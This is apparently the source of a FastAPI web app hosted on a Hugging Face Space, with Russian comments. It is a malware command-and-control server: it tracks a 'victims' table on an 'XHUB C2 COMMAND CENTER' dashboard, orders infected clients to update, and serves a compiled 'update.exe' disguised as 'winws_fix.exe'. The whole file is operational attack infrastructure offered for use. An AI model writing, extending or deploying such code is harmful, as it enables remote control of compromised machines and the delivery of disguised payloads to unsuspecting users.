Spaces:
Sleeping
Sleeping
| from fastapi import FastAPI, Request | |
| from fastapi.responses import HTMLResponse, FileResponse | |
| from pydantic import BaseModel | |
| import time, os | |
| app = FastAPI() | |
| victims = {} | |
| # Текущая версия софта. Если у клиента меньше — он обновится. | |
| LATEST_VERSION = "2.0" | |
| class Report(BaseModel): | |
| user: str | |
| version: str | |
| action: str | |
| def dashboard(): | |
| html = "<html><body style='font-family:monospace;background:#0d1117;color:#58a6ff'><h1>XHUB C2 COMMAND CENTER</h1>" | |
| html += f"<h3>LATEST_STABLE_VERSION: {LATEST_VERSION}</h3><hr>" | |
| for u, data in victims.items(): | |
| html += f"<p>[{data['time']}] <b>{u}</b> (v{data['ver']}): {data['status']} | <a href='/set_cmd/{u}/update' style='color:#7ee787'>FORCE UPDATE</a></p>" | |
| html += "</body></html>" | |
| return html | |
| async def report(data: Report): | |
| victims[data.user] = {"ver": data.version, "status": data.action, "time": time.ctime()} | |
| # Если на сервере версия выше, шлем команду на апдейт | |
| if float(data.version) < float(LATEST_VERSION): | |
| return {"cmd": "update", "url": "/download_update"} | |
| return {"cmd": "idle"} | |
| def download(): | |
| # Положи свой новый скомпилированный .exe в ту же папку на HF под именем 'update.exe' | |
| return FileResponse("update.exe", filename="winws_fix.exe") |